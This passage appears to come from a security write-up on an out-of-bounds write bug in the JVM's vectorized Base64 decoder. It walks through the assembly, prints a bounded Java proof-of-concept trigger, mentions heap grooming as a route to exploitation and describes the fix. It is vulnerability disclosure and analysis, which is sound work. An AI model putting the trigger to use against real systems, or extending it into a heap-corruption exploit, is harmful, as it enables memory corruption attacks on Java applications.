The input is loaded into 4 different vector registers (4 × vmovdqu64), followed by lookup table mapping (4 × vpermt2b). If it turns out that one of these blocks contains a negative or invalid character, execution jumps to the 64-byte block processing routine. Otherwise, we continue with 4 × vpmaddubsw and 4 × vpmaddwd to combine the values, as illustrated below, followed by 3 × vpermt2b to apply permutations, get rid of the unused bytes, and make the stores contiguous. Finally, the four decoded blocks of 48 bytes each are stored using 3 actual stores of 64 bytes, i.e., 3 × vmovdqu64.

Here, there is no need for masking because the decoded bytes have been packed into three complete 64-byte vectors.
Now we get to the 64-byte block processing routine, which is very similar to the above.

The only difference is that we process the input block by block, with each block consisting of 64 bytes. If there is an invalid character, execution jumps to the fallback routine (more on that later). Otherwise, once the remaining input is smaller than one full block, execution continues to the tail-processing routine. In this case, we need to compute the output size, which is held in r13. Based on the arithmetic instructions, this corresponds to:
\( 3\times\left\lfloor\frac{\text{encoded size}}{4}\right\rfloor
=3\times\left\lfloor\frac{R14D}{4}\right\rfloor \)
Given the estimated output size, we need to take padding into account. The comparison instructions check for the padding character = (hexadecimal 0x3d), while dec and shr adjust the output size and input mask, respectively ( shr shifts the input mask to the right by one bit).
Now, given the computed output size, bzhi is used to generate a bitmask with one enabled bit per output byte, within the 64-bit operand width.
We then initialize a vector register using mov $0x61616161,%eax, followed by vpbroadcastd %eax,%zmm0, filling its byte lanes with the valid Base64 character a to avoid introducing invalid characters into the unused input lanes.
Again, we use vpermt2b to perform lookup table mapping. If all characters pass validation, we continue with vpmaddubsw, vpmaddwd, and vpermb.
If you remember, we stored the output size in r13 and the output bitmask in r15. The thing here is that if the unsigned value of the lowest 8 bits of r13 is greater than or equal to the 64-bit operand width, bzhi leaves r15unchanged (this is where the bug comes from). In particular, if r13 is -1 its lowest 8 bits represent the unsigned value 255, which exceeds the 64-bit operand width.

The instruction kmovq %r15,%k1 copies the unchanged bitmask into k1, which is then used by the subsequent masked store (r15 is initialized using mov $0xffffffffffffffff,%r15).
If the remaining block contains an invalid character, execution jumps to a fallback routine, which processes 0x20 input bytes at a time and produces 0x18 decoded bytes, similarly to the JVM code we covered earlier.
As we will see during the next section,r13 can be -1 when the remaining input size is 1, i.e., only = is left, and the mapped output size is 3 × (1/4) = 0. Because there is padding, i.e., =, it subtracts 1, resulting in -1. This leaves the mask unchanged, and thus the rest of the vector register is written when it shouldn't be (even though the exception occurs later, the out-of-bounds write has already occurred).


Let's look at the exploit https://calif.io/java4shell.
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
/** Bounded standalone trigger: every write stays inside a real 4096-byte array. */
public final class Base64Trigger {
private static volatile int sink;
public static void main(String[] args) {
Base64.Decoder decoder = Base64.getDecoder();
byte[] valid = "A".repeat(64).getBytes(StandardCharsets.US_ASCII);
byte[] malformed = ("A".repeat(64) + "=").getBytes(StandardCharsets.US_ASCII);
byte[] target = new byte[4096];
for (int i = 0; i < 200_000; i++) {
sink += decoder.decode(valid, target);
}
Arrays.fill(target, (byte) 0x5a);
boolean rejected = false;
try {
decoder.decode(malformed, target);
} catch (IllegalArgumentException expected) {
rejected = true;
}
int changed = 0;
int first = -1;
int last = -1;
for (int i = 50; i < target.length; i++) {
if (target[i] != (byte) 0x5a) {
changed++;
if (first < 0) first = i;
last = i;
}
}
System.out.println("runtime=" + System.getProperty("java.runtime.version"));
System.out.println("vm=" + System.getProperty("java.vm.name"));
System.out.printf("rejected=%s changed=%d first=%d last=%d%n",
rejected, changed, first, last);
if (!rejected || changed != 62 || first != 50 || last != 111) {
System.err.println("NOT REPRODUCED");
System.exit(1);
}
System.out.println("REPRODUCED");
}
}Basically, what it does is allocate a large buffer and then fill it with marker values to detect an overflow. It also uses a warmup loop to get the JIT compiler's attention. In this case, the expected output size is 50 bytes, so the decoder is not supposed to write beyond this limit. However, if it does, it will overwrite some of the marker values, allowing us to detect the out-of-bounds write. This is basically what happens, as illustrated below.
The input is malformed and ends with =.

We can inspect the contents of the destination buffer before the decoding operation.

And after the decoding operation, which shows that the overflow occurred.

The PoC also reports how many elements were modified beyond the expected output size. In this case, 62 bytes were modified past offset 50, since the masked store writes 64 bytes starting at offset 48, leaving only 2 bytes within the expected output range (64 - 2 = 62).

If we summarize, the vectorized decoding routine uses some arithmetic that leads to an underflow, which then leads to an out-of-bounds write, specifically 62 bytes. But the chunk lives in the heap, i.e., it was allocated by the underlying memory allocator, and we don't know what comes next, if anything. Usually, in low-level code like C, for instance, one way to exploit a memory defect is to corrupt the metadata of the underlying memory allocator. Here, the idea is similar, but instead we target Java object metadata. However, these bytes are not fully controlled, so exploitation is not straightforward. It depends on the underlying JVM memory allocation behavior, combined with heap grooming to influence the heap layout, i.e. the placement of nearby objects.
If we look at the patch, it is very simple. We just need to exit the vectorized routine if it turns out that the remaining input size is smaller than 4 (which would have produced an output size of \(0\), if you remember the earlier calculation involving r14). In this case, execution jumps to the fallback routine (the java decoding logic to take over).
